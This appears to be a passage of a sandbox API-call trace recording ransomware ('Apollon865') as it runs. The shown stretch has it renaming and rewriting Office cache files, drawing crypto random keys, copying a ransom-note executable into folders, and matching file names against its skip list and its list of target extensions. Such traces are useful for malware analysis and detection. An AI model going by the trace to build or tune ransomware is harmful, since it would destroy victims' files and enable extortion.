	[0079.010] lstrcmpiW (lpString1="WordMUI.xml", lpString2=".dll") returned 1
	[0079.010] lstrlenW (lpString=".lnk") returned 4
	[0079.010] lstrcmpiW (lpString1="WordMUI.xml", lpString2=".lnk") returned 1
	[0079.010] lstrlenW (lpString=".ini") returned 4
	[0079.010] lstrcmpiW (lpString1="WordMUI.xml", lpString2=".ini") returned 1
	[0079.010] lstrlenW (lpString=".sys") returned 4
	[0079.010] lstrcmpiW (lpString1="WordMUI.xml", lpString2=".sys") returned 1
	[0079.011] lstrlenW (lpString="WordMUI.xml") returned 11
	[0079.011] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.Apollon865") returned 85
	[0079.011] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.apollon865"), dwFlags=0x1) returned 1
	[0079.011] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x10c
	[0079.011] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1800) returned 1
	[0079.012] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0079.012] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0079.012] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf678
	[0079.012] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf810) returned 1
	[0079.013] CryptGenRandom (in: hProv=0x5bf810, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0079.013] CryptReleaseContext (hProv=0x5bf810, dwFlags=0x0) returned 1
	[0079.013] CreateFileMappingW (hFile=0x10c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa10, lpName=0x0) returned 0xc0
	[0079.014] MapViewOfFile (hFileMappingObject=0xc0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa10) returned 0x100000
	[0079.015] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf810) returned 1
	[0079.016] CryptGenRandom (in: hProv=0x5bf810, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0079.016] CryptReleaseContext (hProv=0x5bf810, dwFlags=0x0) returned 1
	[0079.016] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0079.016] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0079.016] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0079.016] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0079.016] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0079.016] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0079.016] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0079.016] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0079.016] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0079.016] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0079.016] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0079.016] CloseHandle (hObject=0xc0) returned 1
	[0079.016] CloseHandle (hObject=0x10c) returned 1
	[0079.017] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0079.017] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf678 | out: hHeap=0x580000) returned 1
	[0079.017] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0079.017] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WordMUI.xml", cAlternateFileName="")) returned 0
	[0079.017] FindClose (in: hFindFile=0x5ca110 | out: hFindFile=0x5ca110) returned 1
	[0079.017] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b78f0
	[0079.017] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C", iMaxLength=260 | out: lpString1="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C"
	[0079.017] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0079.017] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b78e8 | out: hHeap=0x580000) returned 1
	[0079.017] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C") returned 62
	[0079.017] lstrcatW (in: lpString1="", lpString2="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C"
	[0079.017] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0079.017] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0079.022] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0079.022] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x472c8850, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x472c8850, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca110
	[0079.022] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.022] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0079.022] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0079.022] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x472c8850, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x472c8850, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.022] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.022] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0079.022] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0079.022] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0079.022] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x472c8850, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x472c8850, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0079.022] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0079.022] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a6f2400, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3a6f2400, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xeebe0180, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe21fcc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OutlkLR.cab", cAlternateFileName="")) returned 1
	[0079.022] lstrcmpiW (lpString1="OutlkLR.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0079.022] lstrcmpiW (lpString1="OutlkLR.cab", lpString2="Apollon865.txt.exe") returned 1
	[0079.022] lstrcmpiW (lpString1="OutlkLR.cab", lpString2=".") returned 1
	[0079.022] lstrcmpiW (lpString1="OutlkLR.cab", lpString2="..") returned 1
	[0079.022] lstrcmpiW (lpString1="OutlkLR.cab", lpString2="windows") returned -1
	[0079.022] lstrcmpiW (lpString1="OutlkLR.cab", lpString2="bootmgr") returned 1
	[0079.022] lstrcmpiW (lpString1="OutlkLR.cab", lpString2="temp") returned -1
	[0079.022] lstrcmpiW (lpString1="OutlkLR.cab", lpString2="pagefile.sys") returned -1
	[0079.022] lstrcmpiW (lpString1="OutlkLR.cab", lpString2="boot") returned 1
	[0079.022] lstrcmpiW (lpString1="OutlkLR.cab", lpString2="ids.txt") returned 1
	[0079.023] lstrcmpiW (lpString1="OutlkLR.cab", lpString2="ntuser.dat") returned 1
	[0079.023] lstrcmpiW (lpString1="OutlkLR.cab", lpString2="perflogs") returned -1
	[0079.023] lstrcmpiW (lpString1="OutlkLR.cab", lpString2="MSBuild") returned 1
	[0079.023] lstrlenW (lpString="OutlkLR.cab") returned 11
	[0079.023] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\*") returned 64
	[0079.023] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="OutlkLR.cab" | out: lpString1="OutlkLR.cab") returned="OutlkLR.cab"
	[0079.023] lstrlenW (lpString="OutlkLR.cab") returned 11
	[0079.023] lstrlenW (lpString="Apollon865") returned 10
	[0079.023] lstrcmpiW (lpString1="utlkLR.cab", lpString2="Apollon865") returned 1
	[0079.023] lstrlenW (lpString=".dll") returned 4
	[0079.023] lstrcmpiW (lpString1="OutlkLR.cab", lpString2=".dll") returned 1
	[0079.023] lstrlenW (lpString=".lnk") returned 4
	[0079.023] lstrcmpiW (lpString1="OutlkLR.cab", lpString2=".lnk") returned 1
	[0079.023] lstrlenW (lpString=".ini") returned 4
	[0079.023] lstrcmpiW (lpString1="OutlkLR.cab", lpString2=".ini") returned 1
	[0079.023] lstrlenW (lpString=".sys") returned 4
	[0079.023] lstrcmpiW (lpString1="OutlkLR.cab", lpString2=".sys") returned 1
	[0079.023] lstrlenW (lpString="OutlkLR.cab") returned 11
	[0079.023] lstrlenW (lpString="bak") returned 3
	[0079.023] lstrcmpiW (lpString1="cab", lpString2="bak") returned 1
	[0079.023] lstrlenW (lpString="ba_") returned 3
	[0079.023] lstrcmpiW (lpString1="cab", lpString2="ba_") returned 1
	[0079.023] lstrlenW (lpString="dbb") returned 3
	[0079.023] lstrcmpiW (lpString1="cab", lpString2="dbb") returned -1
	[0079.023] lstrlenW (lpString="vmdk") returned 4
	[0079.023] lstrcmpiW (lpString1=".cab", lpString2="vmdk") returned -1
	[0079.023] lstrlenW (lpString="rar") returned 3
	[0079.023] lstrcmpiW (lpString1="cab", lpString2="rar") returned -1
	[0079.023] lstrlenW (lpString="zip") returned 3
	[0079.023] lstrcmpiW (lpString1="cab", lpString2="zip") returned -1
	[0079.023] lstrlenW (lpString="tgz") returned 3
	[0079.023] lstrcmpiW (lpString1="cab", lpString2="tgz") returned -1
	[0079.023] lstrlenW (lpString="vbox") returned 4
	[0079.023] lstrcmpiW (lpString1=".cab", lpString2="vbox") returned -1
	[0079.023] lstrlenW (lpString="vdi") returned 3
	[0079.023] lstrcmpiW (lpString1="cab", lpString2="vdi") returned -1
	[0079.023] lstrlenW (lpString="vhd") returned 3
	[0079.023] lstrcmpiW (lpString1="cab", lpString2="vhd") returned -1
	[0079.024] lstrlenW (lpString="vhdx") returned 4
	[0079.024] lstrcmpiW (lpString1=".cab", lpString2="vhdx") returned -1
	[0079.024] lstrlenW (lpString="avhd") returned 4
	[0079.024] lstrcmpiW (lpString1=".cab", lpString2="avhd") returned -1
	[0079.024] lstrlenW (lpString="db") returned 2
	[0079.024] lstrcmpiW (lpString1="ab", lpString2="db") returned -1
	[0079.024] lstrlenW (lpString="db2") returned 3
	[0079.024] lstrcmpiW (lpString1="cab", lpString2="db2") returned -1
	[0079.024] lstrlenW (lpString="db3") returned 3
	[0079.024] lstrcmpiW (lpString1="cab", lpString2="db3") returned -1
	[0079.024] lstrlenW (lpString="dbf") returned 3
	[0079.024] lstrcmpiW (lpString1="cab", lpString2="dbf") returned -1
	[0079.024] lstrlenW (lpString="mdf") returned 3
	[0079.024] lstrcmpiW (lpString1="cab", lpString2="mdf") returned -1
	[0079.024] lstrlenW (lpString="mdb") returned 3
	[0079.024] lstrcmpiW (lpString1="cab", lpString2="mdb") returned -1
	[0079.024] lstrlenW (lpString="sql") returned 3
	[0079.024] lstrcmpiW (lpString1="cab", lpString2="sql") returned -1
	[0079.024] lstrlenW (lpString="sqlite") returned 6
	[0079.024] lstrcmpiW (lpString1="LR.cab", lpString2="sqlite") returned -1
	[0079.024] lstrlenW (lpString="sqlite3") returned 7
	[0079.024] lstrcmpiW (lpString1="kLR.cab", lpString2="sqlite3") returned -1
	[0079.024] lstrlenW (lpString="sqlitedb") returned 8
	[0079.024] lstrcmpiW (lpString1="lkLR.cab", lpString2="sqlitedb") returned -1
	[0079.024] lstrlenW (lpString="xml") returned 3
	[0079.024] lstrcmpiW (lpString1="cab", lpString2="xml") returned -1
	[0079.024] lstrlenW (lpString="$er") returned 3
	[0079.024] lstrcmpiW (lpString1="cab", lpString2="$er") returned 1
	[0079.024] lstrlenW (lpString="4dd") returned 3
	[0079.024] lstrcmpiW (lpString1="cab", lpString2="4dd") returned 1
	[0079.024] lstrlenW (lpString="4dl") returned 3
	[0079.024] lstrcmpiW (lpString1="cab", lpString2="4dl") returned 1
	[0079.024] lstrlenW (lpString="^^^") returned 3
	[0079.024] lstrcmpiW (lpString1="cab", lpString2="^^^") returned 1
	[0079.024] lstrlenW (lpString="abs") returned 3
	[0079.024] lstrcmpiW (lpString1="cab", lpString2="abs") returned 1
	[0079.024] lstrlenW (lpString="abx") returned 3
	[0079.024] lstrcmpiW (lpString1="cab", lpString2="abx") returned 1
	[0079.025] lstrlenW (lpString="accdb") returned 5
	[0079.025] lstrcmpiW (lpString1="R.cab", lpString2="accdb") returned 1
	[0079.025] lstrlenW (lpString="accdc") returned 5
	[0079.025] lstrcmpiW (lpString1="R.cab", lpString2="accdc") returned 1
	[0079.025] lstrlenW (lpString="accde") returned 5
	[0079.025] lstrcmpiW (lpString1="R.cab", lpString2="accde") returned 1
	[0079.025] lstrlenW (lpString="accdr") returned 5
	[0079.025] lstrcmpiW (lpString1="R.cab", lpString2="accdr") returned 1
	[0079.025] lstrlenW (lpString="accdt") returned 5
	[0079.025] lstrcmpiW (lpString1="R.cab", lpString2="accdt") returned 1
	[0079.025] lstrlenW (lpString="accdw") returned 5
	[0079.025] lstrcmpiW (lpString1="R.cab", lpString2="accdw") returned 1
	[0079.025] lstrlenW (lpString="accft") returned 5
	[0079.025] lstrcmpiW (lpString1="R.cab", lpString2="accft") returned 1
	[0079.025] lstrlenW (lpString="adb") returned 3
	[0079.025] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0079.025] lstrlenW (lpString="adb") returned 3
	[0079.025] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0079.025] lstrlenW (lpString="ade") returned 3
	[0079.025] lstrcmpiW (lpString1="cab", lpString2="ade") returned 1
	[0079.025] lstrlenW (lpString="adf") returned 3
	[0079.025] lstrcmpiW (lpString1="cab", lpString2="adf") returned 1
	[0079.025] lstrlenW (lpString="adn") returned 3
	[0079.025] lstrcmpiW (lpString1="cab", lpString2="adn") returned 1
	[0079.025] lstrlenW (lpString="adp") returned 3
	[0079.025] lstrcmpiW (lpString1="cab", lpString2="adp") returned 1
	[0079.025] lstrlenW (lpString="alf") returned 3
	[0079.025] lstrcmpiW (lpString1="cab", lpString2="alf") returned 1
	[0079.025] lstrlenW (lpString="ask") returned 3
	[0079.025] lstrcmpiW (lpString1="cab", lpString2="ask") returned 1
	[0079.025] lstrlenW (lpString="btr") returned 3
	[0079.025] lstrcmpiW (lpString1="cab", lpString2="btr") returned 1
	[0079.025] lstrlenW (lpString="cat") returned 3
	[0079.025] lstrcmpiW (lpString1="cab", lpString2="cat") returned -1
	[0079.025] lstrlenW (lpString="cdb") returned 3
	[0079.025] lstrcmpiW (lpString1="cab", lpString2="cdb") returned -1
	[0079.025] lstrlenW (lpString="ckp") returned 3
	[0079.025] lstrcmpiW (lpString1="cab", lpString2="ckp") returned -1
	[0079.025] lstrlenW (lpString="cma") returned 3
	[0079.026] lstrcmpiW (lpString1="cab", lpString2="cma") returned -1
	[0079.026] lstrlenW (lpString="cpd") returned 3
	[0079.026] lstrcmpiW (lpString1="cab", lpString2="cpd") returned -1
	[0079.026] lstrlenW (lpString="dacpac") returned 6
	[0079.026] lstrcmpiW (lpString1="LR.cab", lpString2="dacpac") returned 1
	[0079.026] lstrlenW (lpString="dad") returned 3
	[0079.026] lstrcmpiW (lpString1="cab", lpString2="dad") returned -1
	[0079.026] lstrlenW (lpString="dadiagrams") returned 10
	[0079.026] lstrcmpiW (lpString1="utlkLR.cab", lpString2="dadiagrams") returned 1
	[0079.026] lstrlenW (lpString="daschema") returned 8
	[0079.026] lstrcmpiW (lpString1="lkLR.cab", lpString2="daschema") returned 1
	[0079.026] lstrlenW (lpString="db-journal") returned 10
	[0079.026] lstrcmpiW (lpString1="utlkLR.cab", lpString2="db-journal") returned 1
	[0079.026] lstrlenW (lpString="db-shm") returned 6
	[0079.026] lstrcmpiW (lpString1="LR.cab", lpString2="db-shm") returned 1
	[0079.026] lstrlenW (lpString="db-wal") returned 6
	[0079.026] lstrcmpiW (lpString1="LR.cab", lpString2="db-wal") returned 1
	[0079.026] lstrlenW (lpString="dbc") returned 3
	[0079.026] lstrcmpiW (lpString1="cab", lpString2="dbc") returned -1
	[0079.026] lstrlenW (lpString="dbs") returned 3
	[0079.026] lstrcmpiW (lpString1="cab", lpString2="dbs") returned -1
	[0079.026] lstrlenW (lpString="dbt") returned 3
	[0079.026] lstrcmpiW (lpString1="cab", lpString2="dbt") returned -1
	[0079.026] lstrlenW (lpString="dbv") returned 3
	[0079.026] lstrcmpiW (lpString1="cab", lpString2="dbv") returned -1
	[0079.026] lstrlenW (lpString="dbx") returned 3
	[0079.026] lstrcmpiW (lpString1="cab", lpString2="dbx") returned -1
	[0079.026] lstrlenW (lpString="dcb") returned 3
	[0079.026] lstrcmpiW (lpString1="cab", lpString2="dcb") returned -1
	[0079.026] lstrlenW (lpString="dct") returned 3
	[0079.026] lstrcmpiW (lpString1="cab", lpString2="dct") returned -1
	[0079.026] lstrlenW (lpString="dcx") returned 3
	[0079.026] lstrcmpiW (lpString1="cab", lpString2="dcx") returned -1
	[0079.026] lstrlenW (lpString="ddl") returned 3
	[0079.026] lstrcmpiW (lpString1="cab", lpString2="ddl") returned -1
	[0079.026] lstrlenW (lpString="dlis") returned 4
	[0079.026] lstrcmpiW (lpString1=".cab", lpString2="dlis") returned -1
	[0079.026] lstrlenW (lpString="dp1") returned 3
	[0079.027] lstrcmpiW (lpString1="cab", lpString2="dp1") returned -1
	[0079.027] lstrlenW (lpString="dqy") returned 3
	[0079.027] lstrcmpiW (lpString1="cab", lpString2="dqy") returned -1
	[0079.027] lstrlenW (lpString="dsk") returned 3
	[0079.027] lstrcmpiW (lpString1="cab", lpString2="dsk") returned -1
	[0079.027] lstrlenW (lpString="dsn") returned 3
	[0079.027] lstrcmpiW (lpString1="cab", lpString2="dsn") returned -1
	[0079.027] lstrlenW (lpString="dtsx") returned 4
	[0079.027] lstrcmpiW (lpString1=".cab", lpString2="dtsx") returned -1
	[0079.027] lstrlenW (lpString="dxl") returned 3
	[0079.027] lstrcmpiW (lpString1="cab", lpString2="dxl") returned -1
	[0079.027] lstrlenW (lpString="eco") returned 3
	[0079.027] lstrcmpiW (lpString1="cab", lpString2="eco") returned -1
	[0079.027] lstrlenW (lpString="ecx") returned 3
	[0079.027] lstrcmpiW (lpString1="cab", lpString2="ecx") returned -1
	[0079.027] lstrlenW (lpString="edb") returned 3
	[0079.027] lstrcmpiW (lpString1="cab", lpString2="edb") returned -1
	[0079.027] lstrlenW (lpString="epim") returned 4
	[0079.027] lstrcmpiW (lpString1=".cab", lpString2="epim") returned -1
	[0079.027] lstrlenW (lpString="fcd") returned 3
	[0079.027] lstrcmpiW (lpString1="cab", lpString2="fcd") returned -1
	[0079.027] lstrlenW (lpString="fdb") returned 3
	[0079.027] lstrcmpiW (lpString1="cab", lpString2="fdb") returned -1
	[0079.027] lstrlenW (lpString="fic") returned 3
	[0079.027] lstrcmpiW (lpString1="cab", lpString2="fic") returned -1
	[0079.027] lstrlenW (lpString="flexolibrary") returned 12
	[0079.027] lstrlenW (lpString="fm5") returned 3
	[0079.027] lstrcmpiW (lpString1="cab", lpString2="fm5") returned -1
	[0079.027] lstrlenW (lpString="fmp") returned 3
	[0079.027] lstrcmpiW (lpString1="cab", lpString2="fmp") returned -1
	[0079.027] lstrlenW (lpString="fmp12") returned 5
	[0079.027] lstrcmpiW (lpString1="R.cab", lpString2="fmp12") returned 1
	[0079.027] lstrlenW (lpString="fmpsl") returned 5
	[0079.027] lstrcmpiW (lpString1="R.cab", lpString2="fmpsl") returned 1
	[0079.027] lstrlenW (lpString="fol") returned 3
	[0079.027] lstrcmpiW (lpString1="cab", lpString2="fol") returned -1
	[0079.027] lstrlenW (lpString="fp3") returned 3
	[0079.027] lstrcmpiW (lpString1="cab", lpString2="fp3") returned -1
	[0079.028] lstrlenW (lpString="fp4") returned 3
	[0079.028] lstrcmpiW (lpString1="cab", lpString2="fp4") returned -1
	[0079.028] lstrlenW (lpString="fp5") returned 3
	[0079.028] lstrcmpiW (lpString1="cab", lpString2="fp5") returned -1
	[0079.028] lstrlenW (lpString="fp7") returned 3
	[0079.028] lstrcmpiW (lpString1="cab", lpString2="fp7") returned -1
	[0079.028] lstrlenW (lpString="fpt") returned 3
	[0079.028] lstrcmpiW (lpString1="cab", lpString2="fpt") returned -1
	[0079.028] lstrlenW (lpString="frm") returned 3
	[0079.028] lstrcmpiW (lpString1="cab", lpString2="frm") returned -1
	[0079.028] lstrlenW (lpString="gdb") returned 3
	[0079.028] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1
	[0079.028] lstrlenW (lpString="gdb") returned 3
	[0079.028] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1
	[0079.028] lstrlenW (lpString="grdb") returned 4
	[0079.028] lstrcmpiW (lpString1=".cab", lpString2="grdb") returned -1
	[0079.028] lstrlenW (lpString="gwi") returned 3
	[0079.028] lstrcmpiW (lpString1="cab", lpString2="gwi") returned -1
	[0079.028] lstrlenW (lpString="hdb") returned 3
	[0079.028] lstrcmpiW (lpString1="cab", lpString2="hdb") returned -1
	[0079.028] lstrlenW (lpString="his") returned 3
	[0079.028] lstrcmpiW (lpString1="cab", lpString2="his") returned -1
	[0079.028] lstrlenW (lpString="ib") returned 2
	[0079.028] lstrcmpiW (lpString1="ab", lpString2="ib") returned -1
	[0079.028] lstrlenW (lpString="idb") returned 3
	[0079.028] lstrcmpiW (lpString1="cab", lpString2="idb") returned -1
	[0079.028] lstrlenW (lpString="ihx") returned 3
	[0079.028] lstrcmpiW (lpString1="cab", lpString2="ihx") returned -1
	[0079.028] lstrlenW (lpString="itdb") returned 4
	[0079.028] lstrcmpiW (lpString1=".cab", lpString2="itdb") returned -1
	[0079.028] lstrlenW (lpString="itw") returned 3
	[0079.028] lstrcmpiW (lpString1="cab", lpString2="itw") returned -1
	[0079.028] lstrlenW (lpString="jet") returned 3
	[0079.028] lstrcmpiW (lpString1="cab", lpString2="jet") returned -1
	[0079.028] lstrlenW (lpString="jtx") returned 3
	[0079.028] lstrcmpiW (lpString1="cab", lpString2="jtx") returned -1
	[0079.028] lstrlenW (lpString="kdb") returned 3
	[0079.028] lstrcmpiW (lpString1="cab", lpString2="kdb") returned -1
	[0079.028] lstrlenW (lpString="kexi") returned 4
	[0079.029] lstrcmpiW (lpString1=".cab", lpString2="kexi") returned -1
	[0079.029] lstrlenW (lpString="kexic") returned 5
	[0079.029] lstrcmpiW (lpString1="R.cab", lpString2="kexic") returned 1
	[0079.029] lstrlenW (lpString="kexis") returned 5
	[0079.029] lstrcmpiW (lpString1="R.cab", lpString2="kexis") returned 1
	[0079.029] lstrlenW (lpString="lgc") returned 3
	[0079.029] lstrcmpiW (lpString1="cab", lpString2="lgc") returned -1
	[0079.029] lstrlenW (lpString="lwx") returned 3
	[0079.029] lstrcmpiW (lpString1="cab", lpString2="lwx") returned -1
	[0079.029] lstrlenW (lpString="maf") returned 3
	[0079.029] lstrcmpiW (lpString1="cab", lpString2="maf") returned -1
	[0079.029] lstrlenW (lpString="maq") returned 3
	[0079.029] lstrcmpiW (lpString1="cab", lpString2="maq") returned -1
	[0079.029] lstrlenW (lpString="mar") returned 3
	[0079.029] lstrcmpiW (lpString1="cab", lpString2="mar") returned -1
	[0079.029] lstrlenW (lpString="marshal") returned 7
	[0079.029] lstrcmpiW (lpString1="kLR.cab", lpString2="marshal") returned -1
	[0079.029] lstrlenW (lpString="mas") returned 3
	[0079.029] lstrcmpiW (lpString1="cab", lpString2="mas") returned -1
	[0079.029] lstrlenW (lpString="mav") returned 3
	[0079.029] lstrcmpiW (lpString1="cab", lpString2="mav") returned -1
	[0079.029] lstrlenW (lpString="maw") returned 3
	[0079.029] lstrcmpiW (lpString1="cab", lpString2="maw") returned -1
	[0079.029] lstrlenW (lpString="mdbhtml") returned 7
	[0079.029] lstrcmpiW (lpString1="kLR.cab", lpString2="mdbhtml") returned -1
	[0079.029] lstrlenW (lpString="mdn") returned 3
	[0079.029] lstrcmpiW (lpString1="cab", lpString2="mdn") returned -1
	[0079.029] lstrlenW (lpString="mdt") returned 3
	[0079.029] lstrcmpiW (lpString1="cab", lpString2="mdt") returned -1
	[0079.029] lstrlenW (lpString="mfd") returned 3
	[0079.029] lstrcmpiW (lpString1="cab", lpString2="mfd") returned -1
	[0079.029] lstrlenW (lpString="mpd") returned 3
	[0079.029] lstrcmpiW (lpString1="cab", lpString2="mpd") returned -1
	[0079.029] lstrlenW (lpString="mrg") returned 3
